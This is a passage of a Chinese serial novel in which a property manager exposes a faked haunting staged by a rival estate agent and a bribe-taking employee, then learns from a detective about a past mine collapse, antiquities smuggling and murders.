原来如此，没有物业的园区，住起来不舒适，尤其环境卫生，跟有物业的那就没法比。 “行，那先看看房吧。” “得嘞！”男中介一看我不追问了，而且还是要看房，很高兴。 我跟着他看了三个房，格局和楼层很普通的那种，属于回迁房通病，简洁、低成本。 跟四季云顶的房子内部差距还是蛮大的。 看完房出来，我跟男中介攀谈，感谢他这么快就帮我找了房子。 “你还得费心帮我留意，这几个我觉得档次没有四季云顶的好。四季云顶有房吗？”我问。 男中介有点不高兴了，“小哥，我昨天不是和你说过了吗？那里不能住，你咋还让我选那里给你找房子！” “我是退伍军人，不相信那些鬼呀神的。而且那个园区和单元楼里的配备明显比现在看这个要上档次呢。小伙，这个根本没有四季云顶好，你为啥总是给我推这个呢？”我问出疑惑。 “四季云顶真的不行，我们中介帮他们推过，也跟物业计划过合作，但是被物业甩包了。我们现在跟四季云顶基本没往来。”男中介说。 “合作？物业和中介怎么合作？”我很好奇。 “我们本来准备在四季云顶的底商开设一个连锁门店，承接里面业主房子的出租业务，帮他们租、维护房子物业，说得好好的，就差签合同了，临门一脚的时候他们反卦了。结果我们不但白忙活，还倒搭了几万块钱。” 我一听，怪不得中介不给推四季云顶的房子，这等于临时起义。 “他们物业谁啊，办事这么不讲究？”我故意站在男中介的角度，我要知道到底是谁搞这么不地道的事。 “他们那个物业客服说的，原来的大区总离职了，下边这些申报、报销啥的，全都搁置后续再处理。” 原来是小A。 第一百零七章 烧脑的一夜 回四季云顶的路上，我注意观察了一下车上的客流，到终点站的人并不少，四季云顶不论从硬件配备还是物业服务上，都可以胜任3、4环处的楼王。 如果中介能像推回迁新居一样推四季云顶，入住率达百是不成问题的。 毕竟这里的租金很接地气，可是现在很明显的，因为之前合作的事情存在过节，影响了四季云顶在外的口碑。 那么闹鬼这件事到底怎么回事呢？这件事不解决，现在住的人也迟早会陆续离开。 鬼，一直听说却从未见过。 这些年的潜心学习，这世界上有没有鬼我心知肚明，难不成一个小小的四季云顶还要颠覆我的认知了？ 不行，今晚上我一定要查个水落石出。 “领导，今晚上还要住1404啊？”孙一茂问我。 “老孙，小a家是哪里的？他的情况你了解不？”我想起只有小a说的44楼的事情没有第二个人说一样的内容。 “小a比我来的还早一点，对这里很熟，本地人。本来林皓总是想让他担任四季云顶的物业负责人的，但是后来出了一件事，就任命了我。”孙一茂说。 “出了什么事？”我很好奇。 “小a收了供应商的钱，被林皓总发现了。”孙一茂压低声音说。 “收钱？问题是林皓远在b市，怎么会发现的？老孙你别一点点挤，详详细细告诉我。” 孙一茂想了想，说：“领导，这是你问我了，我就权当跟你汇报工作，要不然同事之间的八卦我从来不参与议论。” 我点头示意他快说。 原来物业公司刚接手四季云顶的时候，收清运垃圾和绿植养护的没招人，是跟外包公司合作，对接人就是小a。 因为这边人少，小a实际上是很多供应商的对接人，基本都是通过小a的洽谈、评估和实地考察，最后才报给林皓，再最后签约。 垃圾清运这一家是林皓介绍的，这个情况小a倒是不知情。 他跟供应商的负责人聊了几次，直接就跟人家说，“现在可供选择的有三家供应商，条件都不比你家差，我为什么要推荐你们不推荐别人呀？” 供应商秒懂小a的意思，派人给小a包了一个大红包过去，第二天小a就把合同报给了林皓。 林皓了解这家的实力，之前老合作伙伴了，直接就审批通过。 正式合作以后，这家供应商的老板觉得出于关系考虑，把这件事告诉了林皓。 他们觉得有这样的人在下边什么都敢干，迟早有一天得给林皓捅娄子，所以准备告诉林皓，让他注意。 林皓听说以后大发雷霆，直接就撤了小a代理负责人的职，降为客服。 为了避嫌，第二年直接招了个人专门负责绿植和环境，把供应商也给砍了。 原来还有这样的插曲，可是小a看着还蛮憨厚的，对我布置的工作也算是积极。 “老孙，如果四季云顶跟中介或者是哪一个单位搞异业合作，自拓经营，你认为什么业务更能够快速盈利？”我问。 “这个嘛，可以是解决用餐问题的，也可以是装修租房。”孙一茂没有做过多的思考，直接就回我。 “看来你是考虑过这个问题了，这么快就回答我。”我微笑着问。 “领导，不瞒你说，我早就考察过，咱们这个四季云顶，在方圆几里内，都是首屈一指的，唯一的毛病那就是道儿远、交通不方便，如果能在园区弄个社区食堂、或者是装修这一类的家政服务公司，那就等于在自己的地盘解决了自己的事儿，我们赚了钱，硬件设备的维护就不成问题了，鬼还敢来吗？” 前边说的挺好，我也很满意，最后一句给我说愣住了，最后给我说笑了。 “老孙，你的意思是说，因为我们硬件配备不合格，才招鬼的？” “哈哈，领导，其实我本质上根本不相信有鬼，这里面肯定有问题，只是我还没发现问题在哪！”孙一茂终于能跟我聊一些相对私密的想法了。 “好，我今晚上就帮你找出来问题出在哪！”我做着保证，脑子里在想该如何抓住造鬼的人。 晚上我很早就回了1404，在门口放了把椅子，坐在那听着走廊的动静。没有异常的时候就在那坐着看手机。 晚上9点左右，我确实听到了电梯门打开的声音，声音不大，但是感觉是有人进来了。 没听清人进了哪一家，14楼的入住率也不高，这人是谁呢？ 这样一直到了11点，走廊里一片寂静，至少趴在门上听外边，是听不出什么的。 我疲惫的上床，准备困了就睡，如果听到隔壁有声音，我就去隔壁敲门。 似睡非睡的听到了隔壁有声音。 一开始是笑声，女的，咯咯咯的笑，后来是男的也跟着笑，听那个意思好像两个人在看什么东西，引发的笑。 那笑声在这个安静的夜里尤其的清晰、尤其的突兀。 正笑着，突然那个男的喊了一嗓子：“妈的，你搞这套，说，他是谁？” “怎么着啊？就许你在外边勾三搭四，我出去跟朋友吃个饭不行吗？”女的也不让份。 “啪”，杯子掉到地上摔碎的声音，然后紧跟着一声接一声的摔东西。 忍不了了，我怕男的动手打人，打开门直接就冲到隔壁门口，咣咣咣，我开始敲门。 屋里的声音没因为我敲门变小，但也没有人出来应声。 我敲了好半天，一直到屋里安静了，也没人出来。 我看着门上粘贴的广告宣传单，狐疑到了极点。 难道，真的是鬼？ 这时候走廊的感应灯全灭了，黑漆漆的，连外面的光线都照射不进来。 习惯了这样的环境，我并未害怕，慢慢的走回1404，关上门，我睡不着了。 1403的情况让我匪夷所思，怎么回事呢？ 接近凌晨2点多，我应该是睡着了的，因为我能听见自己的鼾声。 眼前突然就出现了一个画面，一男一女在吵架，摔东西，男的一看女的比自己还厉害，伸手去掐住女人的脖子。 因为男的手受了伤，手上流出的血沾到女的脖子上，我看见了赶紧喊着让男的住手，可是却喊不出任何声音。 一着急一使劲，彻底醒了，等我坐起来，满头汗。 精神太紧张了，竟然做梦做的这么真实。 我看看手机显示的时间，凌晨4点，周围很安静，走廊里貌似有声音。 我蹑手蹑脚的走到门口，趴在门上仔细听，是电梯到了14楼的声音，有人！ 第一百零八章 1403的秘密 是谁呢？看着电梯一层层下行，一直到了一层。 天刚蒙蒙亮，我急于去看监控，查凌晨去乘坐电梯的人，简单洗漱了一番就下了楼。 调出四号电梯的监控后，我傻眼了，电梯里根本就没有人，看了好多遍也没有人。 我又调出14层全部的监控录像，没显示有人出现，只是能看到我接近凌晨的时候用力的敲击1403的房门。 出了监控室，我很疲惫，这些事我想不出所以然，也理解了为什么他们把看到的归咎为了有鬼。 看来四季云顶的事情并不简单，如果按照没有鬼反推，那就是人干的，是谁呢？谁要这么做呢？为什么这么做呢？ 正困顿的时候接到了王敬之的电话。 “喂，师哥，这才几天没见就想我啦？”累归累，跟师哥开玩笑这事儿不能松懈。 “吕向荣，锦绣这边跟几个供应商的服务协议都快到期了，我看你也没有洽谈续约，咋的，还续是不续了？硬件配备不给力，物业服务质量不可能得到业主满意啊！” “当然续。师哥，你去谈，遇到问题再找我。”我忽然想到小a收人家好处的事情。 看来这个事情在哪里都有可能出现，只能是看负责这个事情的人是否诚信。 “你那里怎么样了？四季云顶那个鬼难缠不？”王敬之问我。 “这里的鬼？哦，哈哈，再难缠的鬼我都不惧，我跟鬼较量，一向是鬼怕我，要不然，我咋当你师弟啊，是不师哥？”我给王敬之戴高帽。 “你可别跟我贫了，我一听你说这话，我就知道你卡壳了，说说吧，咋回事！” “知我者师哥也！”于是我把事情的经过详细的跟王敬之讲了一遍。 “向荣，我感觉监控和感应灯才是问题的所在。至于1403里面到底有人还是有鬼，你进去看看不就知道了吗？”王敬之说。 一语惊醒梦中人，对啊！去1403看看就知道了。 感应灯的问题，我想到了立在墙边的纸板。 “师哥，我不和你说了，先这样，我去把鬼治了！” 我急急忙忙挂了电话，跑回四号楼，顺着消防通道往上走，一直到了30楼，一张纸板也没看见。 我不甘心，又从30楼到44楼，依旧是没有。 看来，是有人做过了清理。 我给孙一茂打电话，“老孙，1403的房门钥匙，物业有没有备份？” “领导，我查一下噢。” 我等了一会儿，孙一茂在电话里说：“领导，还真有，1403还没办过入住，钥匙一直在我们这里。” “好，你拿着钥匙，到14楼来找我。”说完我挂断电话。 我就不信了，在我的地盘，我还治不了你了！ 孙一茂很快就拿着钥匙来了，狐疑的看着我，说：“领导，你要1403的钥匙做啥用？” 我示意他开1403的门，自己的猜测没有确认之前，我还不能跟他解释。 孙一茂打开门，1403还保持着清水的室内模样，走到房屋中央，我一眼就看到了地上铺设的纸壳，还有一个小型录放机。 孙一茂也惊呆了，“这、这是、有人来过？” 我不紧不慢的走过去，点开录放机的按键，一男一女笑着对话、吵架、摔东西的声音一点不差的传出来 “领导，这是有人使坏啊！太过分了，这不是坑四季云顶吗！” “老孙，回去把业主档案发给我看看，我看看4404的方先生具体什么情况。” “领导，我看过很多遍了，我给你说说。4404的方先生入住不到半年，投诉过两次，他登记的职业显示的是某中介的部门经理。” 事情的大致情况我立刻有了概念，现在是要直接揭露他们、还是等着抓现行呢？我得好好想想。 “老孙，锁好门，今天的事不要和任何人说。” “领导，那这个我们拿走吗？”孙一茂指了指地上的录放机。 “不拿，先放着。” 我跟孙一茂回到物业办公室的时候，小a正坐在电脑前敲击着什么。 看到我回来了，跟我点点头，我也点了一下头，心想这个小a确实不简单。 “老孙，做维保的预算方案你做好了吗？” “做好了。”孙一茂的效率还是蛮高的。 “好，拿给我看看。” 整个预算方案做的细致得当，每一个需要支付的费用和享受的服务都有很好的说明。 可是这个总金额，我为难了，袁总能不能批？ 如果是城中花园的话，基本没问题，他们自己的营收都可以支撑一部分，可这是入住率只有70的四季云顶，物业费收缴率30。 一个既能捉鬼又解决费用问题的点子在我脑中形成，对，就这么办！ “老孙，预算我先给你批50，你把能做的先做起来。钱我从辖区其它楼盘挪给你，等你这边好起来，你再补还回来。另外50一周内我给你准信儿。” 孙一茂有点不相信自己的耳朵，“领导，你是说一周内你就能全落定了？” 我点点头，“怎么？我说的话还不清晰吗？硬件设备的问题咱们不能等，软性服务上，我也要事先给你扎个预防针，人数我要砍掉一个，六栋楼，我给你四个人。” 孙一茂并没有反驳，也没有直接说不行，他有着退役军人很好的品质，服从上级指令。 “领导，您能当这么大官儿，而且来了才三天就发现闹鬼的原因，是有真本事的，我服您！您说怎么干我就怎么干，听您的！” 我微笑的看着他，四季云顶交给孙一茂，我放心。 我给替我找房子的男中介打了电话，告诉他我想去他中介所看看房子。 男中介很高兴，告诉我他一直在，让我随时过去。 我一刻也没耽搁，挂断电话就去了375车站。 这家中介公司在回迁新居的底商位置，占用了一个小门面，30平左右的室内，没有几个员工，我进门以后，一眼就看到了在打电话的男中介。 “小哥，来啦，还挺快的呢！”男中介结束通话后跟我打招呼。 “是啊，我离这不远，所以很速度。”我回。 “你来之前我帮你看了看现有房源，没有合适的啊，还没等告诉你，你就过来了。” “没关系，我来不是为了租房。” “那你是为了？”男中介不知道我要做什么。 “我想见见你们经理，我有个能赚钱的业务想跟他聊聊。”我开门见山。 “见经理？哦，你是说见我们老板是吧？” “对，我不知道你们怎么叫，我想见你们管事儿的，能决定你们经营的。” 男中介有点迟疑的看着我，没有动。 “别担心，我不是坏人，能合作就有钱赚，不能你们也不损失什么，你说是不是？” 旁边的女中介用胳膊肘碰了碰男的，示意他去找经理。 他想了想说：“好，你跟我来。” 第一百零九章 合作共赢 从中介所的门出来，我跟着男中介走了几个商铺，到了一个没有挂招牌的门前停下，“我们经理在这办公，我带你去。” “你们经理姓什么？”我问。 “噢，他姓方，我们都称呼他为方老板。” 我了然了，跟我猜测的一样。 “老板，这位小哥说要和你谈合作，要认识认识您。”男中介恭恭敬敬的说。 这位方总正坐在办公桌后面，看着电脑不知道在写什么。 听说有人来谈合作，很好奇的歪过头，我一看这面相，国字脸、浓眉大眼，鼻直口阔，很健康的皮肤颜色。 “你好，我叫吕向荣。”我一边说一边伸手跟方老板握手。 方老板一听我自报家门了，也站起身，主动跟我握手。 他给我留这第一印象还是很不错的。 “您好，我叫方洪亮，您是怎么知道我们中介的？要和我们谈什么合作？”方洪亮问。 这时候男中介看我们认识了，就主动退了出去。 我准备开门见山，“我是四季云顶的物业区总，你是4404的业主对吧？” 方洪亮一听这话，愣了一下，然后想了一会儿，笑了。 “吕总特意登门有什么事？我的物业费是缴足的，而且不至于收缴个物业费还亲自登门要吧？如果你是假借谈合作来找出我，那我对您这第一印象可大打折扣。”方洪亮说话的风格跟我类似。 “方总应该是北方人吧？说话办事也是干脆利落，不拐弯抹角。那我也就有话直说了。的确是要和您谈合作，我们双方可以共赢，但是，希望你们也从今天开始结束对四季云顶的报复行为，您这样做，自损一千、伤敌八百。所谓和气生财，您说是不是？” 我停下来看着方洪亮，我想知道他的看法。 “报复行为？吕总什么意思？”方洪亮还在坚持。 我拿起男中介走之前给我倒的水杯，边喝水边说，“方总，如果我没有确凿的证据，不会来找你的。小A做的事一定要按照相关处罚规定受处罚，你也不用替他打掩护。感应灯遮挡还有1403室内的播放器，我都已经拿到了证据。之所以我还未报警，是因为我想本着冤家宜解不宜结的初衷，来跟你先谈一次。” 方洪亮的脸红一阵白一阵的，他应该年龄不大，还未沾染那种老谋深算的江湖习气。 “吕总是在诈我吗？我是住在4404，这个我也从没隐瞒，在你们的档案上也是这么登记的。小A是哪一位？我为什么要给他打掩护？还有后面你说的这些都是什么？我听不懂。四季云顶闹鬼人尽皆知的事情，用我们去抹黑吗？” “方老板，我有说过你们做了抹黑四季云顶的事情吗？”我看着方洪亮，觉得他的抢白很无力。 方洪亮登时不言语了，确实，我说的只是停止报复，报复的是什么？怎么报复的我没有说。 我看看不再说话的方洪亮，放下手里的水杯，很诚恳的说：“方总，我既然今天能亲自上门要和你谈合作，那就是谈合作，我是很有诚意的，咱们也就先不要扯别的。如果我是要追究责任，没必要我还跑一趟，我报警、让警察找你去也是一样的。” “我怎么相信你会放下前嫌跟我合作呢？”方洪亮终于可以打直球了。 “很好，你有这个态度，我们就有往下谈的可能。四季云顶的优势和在这附近的地位，你比我还清楚，要不你之前也不会去找小A谈合作，那一次我不知道你损失了多少钱，但确实，我们物业是有问题的，时值区总更换期间，你们赶的也不巧。现在，我重新邀请你跟我们合作，主营业务包括租赁服务、家政以及装修装饰，我免费给你提供办公区，营收我们一人一半，如何？” 方洪亮仔细的听完，眼神里有跃跃欲试的喜悦，但他极力的掩饰着。 “吕总，之前这个事情的方案已经四角落地的，是你们物业给搁置了，现在你又旧事重提，这个主你能做吗？” “我必须能！而且只有我有权力能。再往上去人家也没精力管这小事儿。我的目的很简单，主要就为了赚钱，其次把四季云顶的入住率提高，我的物业收缴率达标，至于你怎么赚钱，只要合法合规，不影响我物业的规章制度，咱们就合作愉快！”我也很干脆。 “然后我还要给你带来一个新业务，你看看你愿不愿意总包，如果你没有这方面的路子，我会找别人做。”我继续补充。 方洪亮把持不住了，很着急的问我：“吕总，你说说什么业务？” “百姓食堂。四季云顶附近的商圈还没有成熟起来，在园区里住着的又都是打工人，我们在社区办个价优物美的百姓食堂，会解决一大部分不会做饭和没时间做饭业主的用餐问题，这是一笔可观的收入，而且在附近商圈成熟起来之前，都会红火。”我回。 方洪亮连连称是，“吕总，你这个点子太好了，这事儿我们能做，我手里有餐饮公司资源，你包给我，我来做。” “包给你没问题，但是我有要求。百姓食堂的受欢迎程度70%取决于价格，你不要因为又转包了，中间倒几手你就抬价，抬了价恐怕我们双方都赚不到什么钱，我还得免费搭给你场所。另外环境卫生，我们不管，但是我们会监督，必须符合我们的要求。经营手续我们会配合你办。”我详细的说出了我全部的想法。 方洪亮开心的站起身，说：“吕总，你真让我刮目相看，看不出来你这么有商业头脑呢，当个物业经理真屈才了。” “方总别拿我开玩笑，我这也是物业收缴率的任务逼的，现在园区里的硬件设备维保都等着钱呢，自己不开拓经营救自己，物业就如同虚设了。” “好，吕总的合作，我们接了！”方洪亮再次向我伸出手，很认真的跟我握手。 “方总，我本着诚信的原则，直接就跟你谈了合作，贵公司的执照和资质你都得给我准备一份，回去要和集团备案。另外，签的协议上我们先明确合作时间，3-6个月内盈利怎么进行、不盈利怎么进行，一年内盈利多少怎么进行、后续是否续签。当然，还有你得承诺我多久可以满足我的入住率达标，物业费这个是我的问题，不需要约定。” “这些都可以，我同意。我能赚到盈利，你的入住率达标我必须满足，我们是合作伙伴，合作共赢。”我一看，方洪亮的情商在线，这人没找错。 看了看他，我把最后想说的一句问了出来：“小A和你是什么关系？方总。” 第一百一十章 郑杰的忏悔 方洪亮有点尴尬，不太好意思的笑笑，“他是我大学同学，我家里底栏厚一点，大学毕业就开了中介所，没出去找工作。他选择找工作打工。因为我租了四季云顶我们才重逢的。” “小A推荐的你们签约合作，为什么后来黄了也是经他手呢？而且还会让你损失钱？”我很疑惑。 “同学毕竟就是同学，分开的时间也久了，他有他的坚持，我能理解。这事儿你也别怪他，装神弄鬼不给四季云顶推出租信息，是我的意思。”方洪亮承认是他搞的鬼。 我心里有数了，等方洪亮给我拿了他们公司的全部资质以后，回返四季云顶。 我们约定好，三天后签合作协议。 “老孙，召集大家今天下班后开个会，一个都不能缺席。”我进门就跟孙一茂布置任务。 孙一茂在群里发布了通知，然后跟我汇报工作。 “领导，四号楼的电梯维保已经开始干了，我们的钱够支付这一个楼的，其余的等你那50%来了再干。路灯今天也开始组装了，三天后你应该能看到夜晚的效果。” “老孙，有速度！把你放在四季云顶，我放心！”我由衷的夸赞孙一茂。 “领导，1403的录放机啥时候拿出来？”孙一茂问。 “现在就去吧，拿出来，开会用。”孙一茂听完我的吩咐，抬腿就去了1403。 会议开始后，我看看在座的几个人，直接切入主题。 “几位同事，我过几天就要去下一站了，走之前，把咱们四季云顶的工作安排做个收尾。金师傅，四季云顶的硬件设备维保工作我就交给你了，你配合外部单位把六栋楼的全部设备都要过一遍，一个都不能少，能做到吗？” “领导放心，只要不是没钱说小话，我一定能完成任务。”金师傅保证。 “你放心，钱的事情有老孙顶着。”说完我又说：“保洁的工作，前几天发现了偷工减料，这两天我又做了检查，有改善，希望继续保持。垃圾清运的也是一样。” 我顿了顿，接着说：“从下个月开始，物业新拓了两个业务，一个是租赁服务和家政、装修业务，另一个是百姓食堂，合约我已经谈妥，后续的工作供应商直接跟我对接，你们只需要配合出手续，这边的对接人是孙一茂，其他人不需要插手。而且，如果这家供应商合作的不错，我们的保洁和垃圾清运再出问题的话，我会把这两个岗位直接包给他们做，听明白了吗？” 保洁和垃圾清运的两个人大眼瞪小眼的看了看，又一起看看我，明显心虚。 我也看着他们，两个人都默默的点着头，这下马威必须给。 “其他的事没有了，小A留下，其他人回家吧。”我做了最后的总结，结束了会议。 小A来到我的里间，我看着他，直接点开了录放机，当里面的声音传出来以后，他愣住了。 然后，我又从桌子下面拿出一个我从垃圾站扒拉出来的纸板，扔在桌子上。 “是你自己说，还是我来说？或者，报警？”我很平静的问。 小A的额头上泌出了汗珠，“吕总，你这是，什么意思，我不明白。” 我看着不到黄河心不死的小A，说：“我们新找的自营业务合作伙伴是你同学方洪亮。你收了多少好处我就不问你了，你也不是第一次收。我这次是想告诉你，另谋高就吧，我这庙小，容不下你。” “你、你要辞退我？”小A很着急。 “可以这么说。”我不紧不慢。 “你凭什么？” “就凭你违反公司制度，联合外面的人抹黑四季云顶，造谣生事，还有，你收受贿赂，屡次违反公司制度。我完全有权利代表公司开除你。但是考虑到你是四季云顶的开盘元老，可以按照协商解除，按照合规的标准给你违约金，你走吧，日后如果有新公司来背调，我会给你说好话。”我仁至义尽。 小A不说话了，气势也弱下来，“吕总，还可以再给我一次机会吗？” “不能了。而且我要和你说，这里以后也不会保留太多人，你不会是第一个。我劝你把握机会重新去找一个更适合你的工作，这也未尝不是一件好事。” 小A看了看我，叹口气，说：“好吧，我接受。” 搞定了闹鬼的事情，方洪亮那边的合作协议也传过来了，我跟集团的法务做着沟通，想在离开之前把这件事落定。 临出发的前一天，孙一茂跟我说出去看一看，我知道他是让我看看照明效果。 出来以后，我愣住了，这孙一茂的工作能力真的是不一般啊，不光是数量，连位置把握的都很好，而且，他还在外围安装了几组，那些下了公交车的人下车就可以看到灯光。 “老孙，给你个赞！” “领导，明天你要出发去哪里？”孙一茂问我。 “我计划去德邻居，怎么？你有什么想法？”我问。 “没有、没有，我能有什么想法，您这次来，真的是彻底征服了我，跟着你干，有劲！” 我看看他，哈哈笑起来，这种肯定让我很受用，工作成就感比拿到多少钱都让人满足。 德邻居距离四季云顶几站地，属于在二环边，那个位置招不来人，总觉得不太可能。 去德邻居的车上，接到了林翔的电话。 “向荣，郑杰来找我了，杀害刘才东的凶手确实是许德生。” 我很激动，终于可以给班长报仇了，“具体怎么回事？” 林翔说了大概，郑杰让儿子带自己去的刑警队，直接找了林翔，说是自己有罪。 林翔心里有准备他要来，但是对于他要说哪些、到了什么程度，没什么把握。 一听他来了，还要认罪，心里很澎湃。 原来，郑杰和谢志强才是发小，两个人很投缘，丁有生是后搬过来的，属于后加入。 三个人在一起玩之后，丁有生总是对矿井下边发现的琥珀感兴趣，他跟郑杰不止一次的说过，这东西值钱。 郑杰很相信丁有生，因为他是三个人中最有文化的，谢志强跟他一样，没念过多少书，唯一的优点是实在。 有一回丁有生和郑杰还有谢志强说，郊区那个停开的矿下面发现一块价值不菲的血珀，他说要去看看，让郑杰和谢志强跟着去。 两个人也被能发财吸引，没有二话就跟丁有生去了矿井。 到那以后，发现四周贴满了告示，说是目前有待修补的位置，极易塌方，禁止进入。 丁有生根本不把这些放在眼里，他言之凿凿的说：“如果他们不这么写，血珀早就被拿走了，还能等到我们来看？” 郑杰和谢志强宁不过他，看着他下了井，两个人也在后面跟着。 第一百一十一章 改名换姓 矿洞深不见底，三个人未带任何防护措施，慢慢下到矿底。 刚落地，郑杰就看到看守的那个干瘦的老头坐在那，矿灯昏暗的映衬出他疲惫的脸。 “你们是干什么的？这里不让私人开采。”看井人说。 “哦，我们、我们来看看，我们不是采矿的。”丁有生说。 “看看？这里不让下来，你们没看到告示吗？井下很危险，有什么可看的。” 郑杰和谢志强看着很凶横的看井老头不敢说话，扭头看着丁有生，不知该怎么办。 “叔，您别生气，我们这就上去。哦，对了，我带了一盒好烟，孝敬您吧。” 丁有生边说边塞给看井老头一盒还未拆封的高级烟。 郑杰和谢志强面面相觑，这丁有生哪来的钱，能买这么好的烟。 看井老头接过烟，瞅瞅丁有生，“这小后生挺懂事啊，谁和你说的这下面有东西？” “嘿嘿，叔，我是听二黑说的。”丁有生也蹲下跟老头说话。 老头一边爱不释手的把玩着烟盒，一边说：“二黑啊，你是二黑什么人啊？” “二黑是我哥，亲哥。” 郑杰和谢志强一看这丁有生信口开河，太能编瞎话了，满嘴胡诌。 “二黑的兄弟，那我更得让你上去了，这里土层松动的厉害，就这一半天就得塌方，我也要上去了。走吧，都跟我走。”看井老头站起身，准备攀爬上去。 谁知道丁有生照着看井老人的后脑就给了一下，老人应声倒地。 郑杰和谢志强还没明白过来怎么回事儿的时候，丁有生已经往里面跑了，“走啊，快走！” 两个人吓傻了，只知道跟着丁有生往里跑。 最里面有个很大的坑，坑边有几个石块，其中有一个很大，看着就很沉。 丁有生拿出早就准备好的手电筒往石块上照，发出幽幽的暗红。 这时候郑杰感到洞在晃，不断的有土渣掉落。 “有生，要塌了，快走吧！”郑杰喊着，谢志强已经不管不顾的往外跑了。 郑杰也跟着往外跑，等他们两个都上来的时候，听见轰隆隆的巨响，洞塌了。 “有生呢？志强。”郑杰问。 “啊？你不是跟他在一起吗？我没看到他。”谢志强吓坏了。 他们两个在上面等了很久也没见到丁有生，只好垂头丧气的回了家。 郑杰见到丁有生的妻子王玫，和她说了塌方的事情，但是他没有提他们看到血珀的事。 再后来郑杰跟谢志强两个人开始干装修的业务，他们都以为丁有生被埋在下面死了。 王玫也在丁有生失踪的第二年带着孩子晶晶改嫁了当地的中学老师冯楠。 丁有生失踪的第三年，有一天郑杰和谢志强正在给一家水果店装修，丁有生的外甥突然出现。 “郑叔，有点事，你出来一下。”许德生神神秘秘的说。 郑杰疑惑的走出来，“德生，怎么啦？家里出事了？” “叔，你看，那个是谁？”许德生指着不远处站着的一个人。 “有生？你舅舅？”郑杰赶紧招呼谢志强，两个人放下手里的活就跑了过去。 丁有生看见郑杰和谢志强过来，笑眯眯的看着他们。 郑杰抓住丁有生，捏捏这里、拍拍那里，不但什么事都没有，感觉还结实了很多。 “有生，你没死啊？没死你咋不早点过来找我们，害我们为你悲伤了好一阵子。”谢志强说。 “没死，我命大，天不收我。”丁有生回。 几个人当晚就在一起吃喝庆祝，同席的还有许德生。 原来丁有生当天的全部注意力都在那块血珀上，感受到是真的要塌方的时候，去路已经被堵死了。 情急之下他看到拐角处有一个洞口，顺着洞口往外爬，爬了很久才出去，出去以后因为呼吸不畅和疲惫昏了过去。 再醒来的时候在一个农户家里，他们照顾丁有生的起居，看着他把身体养好。 矿井塌方后，政府将那片区域看管起来，还挖出了看井老头的尸体。 他怕自己敲击老头的事情被发现，就没敢回家，而是改名换姓，躲了起来。 他心里对那块血珀原石始终没有放弃执念，还是惦记着怎么给弄出来。 没事的时候就去那附近寻找，因为塌方，准确的方位已经不好分辨了，再加上政府严加看管，他学么了好多年都未果。 后来风声逐渐小了，他迫不及待的回到镇里，却发现冯楠频频出入自己家，王玫已经给自己申报了失踪，并且时限已经符合了宣告死亡。 “好兄弟，回来就好，跟着我们一起赚钱吧！”郑杰高兴的提议。 谢志强也说：“对，有我们一口吃的就有你一口吃的，等以后有了钱，咱们再找一个媳妇，再生个孩子，这些都可以有。” 丁有生听着两个人对自己这么推心置腹，也就开心的应承了他们，加入了他们的业务。 再后来，从做装修做到了开发房地产，冯楠领着杜国瑞也加入，五个人一起赚钱。 但是只有郑杰知道，丁有生的真实业务是借用开发地产，挖取可能有的文物。 开发的方位都是丁有生提，然后郑杰再拉着大家干。 那几年丁有生因为倒卖文物赚了钱，脾气秉性也都有了翻天覆地的变化。 除了能听郑杰几句话，谢志强、冯楠这些人，他基本不放在眼里。 开发荟萃亭的时候，冯楠和杜国瑞坚决不同意，他们两个都是教育系统出身，对建筑风水十分相信。 但是因为那时候廖文彬加入不久，投了赞成票，所以就开土动了工。 林翔说到这里顿了顿，“老林，郑杰配合丁有生倒卖文物，这方面是有罪了，你别告诉我，杀害谢志强一家他也有份啊！” “杀害谢志强一家他说他不知情，后来知道了来龙去脉彻底跟许德生和丁有生断了关系。”林翔说。 许德生没念过几年书，10几岁就开始跟着丁有生混，沾染的一身痞气，而且什么都敢干。 丁有生失踪那几年，他跟着郑杰，帮着照看业务，遇到欺负人、找事儿的，他就出去拼，下手黑，经常打架斗殴。 丁有生回来以后，他就跟着丁有生倒卖文物，还涉毒。 在一次涉毒交易败露后，被郑杰赶出门，名义上跟着冯楠，实际上还是辅佐丁有生。 第一百一十二章 管事儿的搁哪管事儿呢 许德生上中学的时候就认识了谢志强的女儿谢敏，两个人还处过一段男女朋友。 但是谢志强坚决不同意，他了解许德生几斤几两，担心女儿跟了他以后没有好日子过。 许德生在心里暗自记恨谢志强，有一次喝酒喝多了还跟郑杰抱怨过。 郑杰劝他，天下何处无芳草，好好干一番事业，赚了钱再找一个更好的。 可是许德生就是忘不了谢敏，甚至是在谢敏和赵明结婚后，还对谢敏纠缠不休。 因为赵明赌博，总是谢敏拿钱去给平事儿，谢敏渐渐的对赵明失去了信心，一次酒后无德被许德生钻了空子。 事后谢敏很后悔，考虑到一双儿女，她很坚决的要和许德生划清界限。 可是许德生想长期霸占谢敏，于是设计诱拐赵明赌博并欠了高利贷，谢敏有一回拿钱去赎人，还差一点被许德生羞辱。 回到家以后把这件事告诉了谢志强，谢志强给郑杰打电话，声称坚决不放过许德生。 郑杰左劝右劝，还张罗了一桌酒席，找丁有生、谢志强还有许德生过来吃饭。 他希望可以借助这个缓和僵化的矛盾，毕竟他跟丁有生、谢志强是从小玩到大的关系。 可谁曾想，谢志强在酒桌上越说越生气，指责丁有生没管好自己的外甥。 不但诱拐自己女婿欠高利贷，还迷奸自己女儿，说到愤恨的地方，声称要把丁有生倒卖文物的事情说出去。 丁有生也不服，当场就跟谢志强大打出手，有许德生在，怎么可能让自己舅舅吃亏。 谢志强不但挨了打，还被警告如果出去乱说就死全家。 郑杰也很生气，他指责丁有生不念旧情，对谢志强太不讲兄弟情面。 他以为顶多以后两个人老死不相往来，可是没想到，没过多久就听说了谢志强一家被灭门。 他给丁有生打电话，丁有生一问三不知，还说这是人命关天的大事，自己不可能做。 于是他跟冯楠说，让冯楠暗中调查了解，冯楠跟他说，发现许德生绑架了赵明，后来还撕了票。 “大概就是这样的经过，郑杰说，他认罪，让我们去立案起诉。哦，对了，他还说要我跟你说声谢谢，他说是你让他又找回了当年的自己。”林翔讲完了经过。 我被真相吸引，暗暗琢磨是不是合乎事情发展的逻辑，听到郑杰拜托林翔跟我转达谢意的时候，我的心里竟然很难受。 为什么人都是在一切无法挽回的时候，才知道悔改呢？好几条人命，就这样没了。 “老林，杜国瑞和李文月因为什么死的，郑杰不知道吗？还有王闯。”我问。 “他说他不知情，他以为就是表面上说的那些原因。他还说这些事问问冯楠，也许冯楠能知道。”林翔回。 “可是冯楠已经失踪了，你们找到冯楠和冯晶晶了吗？” “没有，包括许德生，我们都没找到。丁有生已经被抓了，他死鸭子嘴硬，什么都不承认。等我们再收集一些证据，看他还怎么狡辩。”林翔气愤。 